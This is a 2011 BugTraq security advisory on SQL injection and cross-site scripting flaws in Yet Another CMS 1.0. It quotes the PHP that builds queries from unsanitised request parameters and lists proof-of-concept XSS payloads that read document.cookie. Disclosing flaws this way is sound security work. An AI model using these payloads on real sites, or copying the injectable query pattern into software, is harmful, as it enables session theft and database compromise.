BugTraq
Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities Oct 19 2011 04:26PM
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Advisory: Yet Another CMS 1.0 SQL Injection & XSS vulnerabilities
Advisory ID: SSCHADV2011-031
Author: Stefan Schurtz
Affected Software: Successfully tested on Yet Another CMS 1.0
Vendor URL: http://yetanothercms.codeplex.com/
Vendor Status: informed
EDB-ID: 17997

==========================
Vulnerability Description:
==========================

Yet Another CMS 1.0 is prone to multiple SQL Injection and XSS vulnerabilities

==================
Technical Details:
==================

// search.php
$result_set = get_search_result_set($_POST['pattern']);

// includes/functions.php
function get_search_result_set($pattern, $public = true) {
global $connection;
$query = "SELECT
id,
subject_id,
menu_name,
position,
visible,
content,
CONCAT('... ', SUBSTRING(content, LOCATE('" . $pattern . "',content), 200), ' ...') as fragment
FROM
pages
WHERE
content like '%" . $pattern . "%'";

// index.php
<?php find_selected_page(); ?>

// includes/functions.php
function find_selected_page() {
global $sel_subject;
global $sel_page;
if (isset($_GET['subj'])) {
$sel_subject = get_subject_by_id($_GET['subj']);
$sel_page = get_default_page($sel_subject['id']);
} elseif (isset($_GET['page'])) {
$sel_subject = NULL;
$sel_page = get_page_by_id($_GET['page']);
} else {
$sel_subject = NULL;
$sel_page = NULL;
}
}

function get_page_by_id($page_id) {
global $connection;
$query = "SELECT * ";
$query .= "FROM pages ";
$query .= "WHERE id=" . $page_id ." ";
$query .= "LIMIT 1";

==================
Exploit
==================

SQL Injection

http://<target>/index.php?page=[sql injection]
http://<target>/search.php -> 'search field' -> [sql injection]

XSS

http://<target>/search.php -> 'search field' -> '"</script><script>alert(document.cookie)</script>
http://<target>/index.php?page='</script><script>alert(document.cookie)<
/script>

=========
Solution:
=========

-

====================
Disclosure Timeline:
====================

18-Oct-2011 - informed developers
19-Oct-2011 - release date of this security advisory

========
Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz.

===========
References:
===========

http://yetanothercms.codeplex.com/
http://yetanothercms.codeplex.com/workitem/643
http://www.rul3z.de/advisories/SSCHADV2011-031.txt

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